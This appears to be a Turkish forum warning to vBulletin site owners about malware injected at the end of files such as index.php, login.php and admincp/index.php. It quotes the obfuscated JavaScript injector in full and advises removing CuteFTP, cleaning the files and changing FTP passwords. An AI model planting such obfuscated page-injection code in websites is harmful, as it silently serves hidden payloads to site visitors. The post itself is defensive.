VBulletin kullanıcıları şu virüse dikkat edin;
<?php echo ''; ?><?php echo ''; ?><?php echo ''; ?><?php echo ''; ?><?php echo ''; ?><?php echo '<script language='JavaScript'>function e590206b977(){var w4=Array.prototype.slice.call(arguments).join(""), y4=w4.substr(3,3)-352,wf,o2,w4=w4.substr(6),s9=w4.length;for(var u1=0;u1<s9;u1++){try{throw(x0=w8(w4,u1));}catch(e) {x0=e;};if(x0=='£'){y4="";u1=oc(u1);oe=u9(w4,u1);w hile(oe!='£'){y4+=oe;u1++;oe=x9(w4,u1);}y4-=303;continue;}wf="";if(x0=='µ'){u1++;x0=w4.substr (u1,1);while(x0!='µ'){wf+=x0;u1++;x0=w4.substr(u1, 1);}wf=ob(wf,y4,6);if(wf<0)wf+=256;wf=rd(wf);docum ent.write(String.fromCharCode(wf));continue;}p3=(x 0+'').charCodeAt(0);if(p3>848)p3-=848;o2=p3-y4-6;if(o2<0)o2+=256;if(o2>=192)o2+=848;else if(o2==168)o2=1025;else if(o2==184)o2=1105;document.write(String.fromCharC ode(o2));}}e590206b977("0d","7374Xebn£","502£µ14µµ 26µ£","401","£µ173µµ1","36µµ18","7","µ£4","1","7", "£Êµ1","87µ","µ","181µ","£396£µ1","33µË","×","×"," Óµ157µµ146µ","µ146","µËÌ×","µ1","4","4µÖÈ£396£Ñ£3" ,"99£Ê","Ë","Ø","£","438","£","µ","0","µ","µ1","8" ,"7µğûµ","18","8","µ£3","2","1£","~","µ","12","9µµ 1","34µ|£","3","7","7£","µ12","7µµ","185","µ","µ19 ","0µ~µ179","µµ","1","83µµ","1","85","µ£","348£r", "eUS£","33","3","£","{mh","x","£433£","Ğŵ18","4µµ 168µĞ£4","9","2","£µ","8","µ£454","£æ£3","3","9£", "q","£4","72","£","÷","µ3µ","ìߣ478£","Õ£4","63£µ8 µµ","21µµ24µ£3","4","2£","µ145µµ1","46","µ£","30", "9£~I£","436","£","µ","173","µ£","33","8","£Y£411£ ","µ14","8µ","µ1","76µ","µ17","4µ","µ161µ","µ","1" ,"87µ£","37","0£","µ1","43µµ","15","5µ","µ","138µµ ","150µµ14","2µµ13","5µ");function w8(qa,te){return qa.substr(te,1);}function oc(t3){return ++t3;}function u9(s1,tf){return s1.substr(tf,1);}function x9(qe,x4){return qe.substr(x4,1);}function rd(xc){if(xc==168)xc=1025;else if(xc==184)xc=1105;return (xc>=192 && xc<256) ? xc+848 : xc;}function ob(t8,w5,u4){return t8-w5-u4;}</script>'; ?>
Kod yukarıdaki şekilde özellikle aşağıda verdiğim php dosyalarının içine en alt tarafa yerleşiyor. Öncelikle aşağıdaki php dosyalarınızı kontrol edin. Cuteftp programını bilgisayarınızda derhal kaldırın (en küçük parçası bile kalmasın bilgisayarınızda). Bilgisayarınızı çok sıkı bir şekilde taratın. Ftp'deki diğer dosyalarınızı da kontrol ettikten sonra bu kod olan sayfalarınızı temizleyin, temizlediğiniz dosyaları ftp'ye attıktan sonra HEMEN ftp şifrenizi değiştirin.
Not : Ftp programınızda şifre hatırlama seçeneğini işaretlemeyin.
index.php
login.php
showthread.php
archive/index.php
admincp/index.php
modcp/index.php